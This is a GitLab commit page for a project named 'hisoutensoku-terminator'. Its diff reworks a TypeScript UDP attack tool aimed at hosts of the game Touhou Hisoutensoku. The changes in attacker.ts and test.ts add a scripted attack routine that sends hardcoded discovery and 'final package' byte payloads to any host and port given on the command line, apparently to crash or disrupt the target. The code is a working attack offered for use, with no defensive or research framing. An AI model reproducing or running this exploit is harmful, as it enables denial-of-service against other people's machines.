Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Support
Keyboard shortcuts
?
Submit feedback
Sign in / Register
Toggle navigation
H
hisoutensoku-terminator
Project overview
Project overview
Details
Activity
Releases
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Locked Files
Issues
0
Issues
0
List
Boards
Labels
Service Desk
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Security & Compliance
Security & Compliance
Dependency List
License Compliance
Packages
Packages
List
Container Registry
Analytics
Analytics
CI / CD
Code Review
Insights
Issues
Repository
Value Stream
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
nanahira
hisoutensoku-terminator
Commits
b5bc9834
Commit
b5bc9834
authored
Jun 06, 2020
by
nanahira
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
fix handling on shitama
parent
d65a2c2b
Changes
5
Hide whitespace changes
Inline
Side-by-side
Showing
5 changed files
with
112 additions
and
23 deletions
+112
-23
.dockerignore
.dockerignore
+1
-0
.gitignore
.gitignore
+1
-0
attacker.ts
attacker.ts
+98
-23
fetch.ts
fetch.ts
+2
-0
test.ts
test.ts
+10
-0
No files found.
.dockerignore
View file @
b5bc9834
...
...
@@ -105,6 +105,7 @@ dist
/*.js
/config.yaml
/*.txt
.dockerignore
.gitignore
...
...
.gitignore
View file @
b5bc9834
...
...
@@ -105,3 +105,4 @@ dist
/*.js
/config.yaml
/*.txt
attacker.ts
View file @
b5bc9834
...
...
@@ -8,7 +8,7 @@ const messageStage1 = [
0
,
0
,
0
,
109
,
44
,
0
,
0
];
const
messageToWait
=
[
3
];
const
smallMessage
=
[
3
];
const
messageStage2
=
[
5
,
110
,
115
,
101
,
217
,
255
,
196
,
110
,
72
,
141
,
124
,
161
,
...
...
@@ -19,6 +19,48 @@ const messageStage2 = [
0
,
18
,
0
,
0
,
0
];
enum
AttackType
{
Send
=
1
,
Wait
=
2
}
interface
AttackStep
{
type
:
AttackType
;
message
:
number
[];
intervalMessage
?:
number
[];
comment
:
string
;
}
const
AttackRoutine
:
AttackStep
[]
=
[
{
type
:
AttackType
.
Send
,
message
:
messageStage1
,
comment
:
"
Discover
"
},
{
type
:
AttackType
.
Wait
,
message
:
smallMessage
,
intervalMessage
:
messageStage1
,
comment
:
"
First wait
"
},
{
type
:
AttackType
.
Send
,
message
:
smallMessage
,
comment
:
"
Send a small message
"
},
/*{
type: AttackType.Wait,
message: smallMessage,
intervalMessage: smallMessage,
comment: "Second wait"
},*/
{
type
:
AttackType
.
Send
,
message
:
messageStage2
,
comment
:
"
Send final package
"
}
]
function
sendMessage
(
socket
:
any
,
message
:
number
[]):
Promise
<
any
>
{
return
new
Promise
(
done
=>
{
...
...
@@ -26,43 +68,76 @@ function sendMessage(socket: any, message: number[]): Promise<any> {
});
}
function
waitForReply
(
socket
:
any
,
timeout
:
number
,
intervalMessage
:
number
[]):
Promise
<
boolean
>
{
const
intv
=
setInterval
(
sendMessage
,
500
,
socket
,
intervalMessage
);
let
currentWait
:
(
msg
:
Buffer
,
rinfo
:
any
)
=>
Promise
<
void
>
=
null
;
function
waitForReply
(
socket
:
any
,
messageToWait
:
number
[],
timeout
:
number
,
intervalMessage
?:
number
[]):
Promise
<
boolean
>
{
let
intv
;
if
(
intervalMessage
)
{
intv
=
setInterval
(
sendMessage
,
500
,
socket
,
intervalMessage
);
}
return
new
Promise
(
done
=>
{
socket
.
once
(
"
message
"
,
(
msg
:
Buffer
,
rinfo
:
any
)
=>
{
currentWait
=
async
(
msg
:
Buffer
,
rinfo
:
any
)
=>
{
if
(
_
.
isEqual
(
msg
.
toJSON
().
data
,
messageToWait
))
{
clearInterval
(
intv
);
if
(
intv
)
{
clearInterval
(
intv
);
}
currentWait
=
null
;
done
(
true
);
}
}
)
;
};
setTimeout
(()
=>
{
clearInterval
(
intv
);
if
(
intv
)
{
clearInterval
(
intv
);
}
currentWait
=
null
;
done
(
false
);
},
timeout
);
});
}
async
function
performStep
(
socket
:
any
,
step
:
AttackStep
,
timeout
:
number
):
Promise
<
string
>
{
let
err
;
switch
(
step
.
type
)
{
case
AttackType
.
Send
:
{
err
=
await
sendMessage
(
socket
,
step
.
message
);
if
(
err
)
{
return
`Failed to perform step
${
step
.
comment
}
:
${
err
.
toString
}
`
;
}
break
;
}
case
AttackType
.
Wait
:
{
if
(
!
await
waitForReply
(
socket
,
step
.
message
,
timeout
,
step
.
intervalMessage
))
{
return
`Empty reply on step
${
step
.
comment
}
.`
;
}
break
;
}
default
:
{
return
"
Unknown step
"
;
}
}
return
null
;
}
export
async
function
attack
(
address
:
string
,
port
:
number
,
timeout
:
number
):
Promise
<
string
>
{
const
socket
=
dgram
.
createSocket
(
"
udp4
"
);
let
err
;
err
=
await
new
Promise
(
done
=>
{
let
err
:
string
=
null
;
let
connectionError
:
any
=
await
new
Promise
(
done
=>
{
socket
.
connect
(
port
,
address
,
done
);
});
if
(
err
)
{
return
`Failed to connect:
${
err
.
toString
()}
`
;
}
err
=
await
sendMessage
(
socket
,
messageStage1
);
if
(
err
)
{
return
`Failed to send stage 1:
${
err
.
toString
()}
`
;
if
(
connectionError
)
{
socket
.
close
();
return
`Failed to connect:
${
connectionError
.
toString
()}
`
;
}
//console.log("Waiting for reply...");
if
(
!
await
waitForReply
(
socket
,
timeout
,
messageStage1
))
{
return
`Empty reply.`
;
}
err
=
await
sendMessage
(
socket
,
messageStage2
);
if
(
err
)
{
return
`Failed to send stage 2:
${
err
.
toString
()}
`
;
socket
.
on
(
"
message
"
,
async
(
msg
,
rinfo
)
=>
{
if
(
currentWait
)
{
currentWait
(
msg
,
rinfo
);
}
})
for
(
let
step
of
AttackRoutine
)
{
err
=
await
performStep
(
socket
,
step
,
timeout
);
if
(
err
)
{
break
;
}
}
socket
.
close
();
return
null
;
return
err
;
}
fetch.ts
View file @
b5bc9834
...
...
@@ -24,3 +24,5 @@ server.on('proxyMsg', function (message: Buffer, sender, peer) {
inbound
.
push
(
bufferArray
);
console
.
log
(
"
inbound
"
,
bufferArray
);
});
console
.
log
(
`127.0.0.1:
${
listen
}
`
);
test.ts
0 → 100644
View file @
b5bc9834
import
{
attack
}
from
"
./attacker
"
;
const
[
targetHost
,
targetPortRaw
]
=
process
.
argv
[
2
].
split
(
"
:
"
);
const
targetPort
=
parseInt
(
targetPortRaw
);
console
.
log
(
targetHost
,
targetPort
);
async
function
main
()
{
console
.
log
((
await
attack
(
targetHost
,
targetPort
,
1000
))
||
"
success
"
);
}
main
();
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment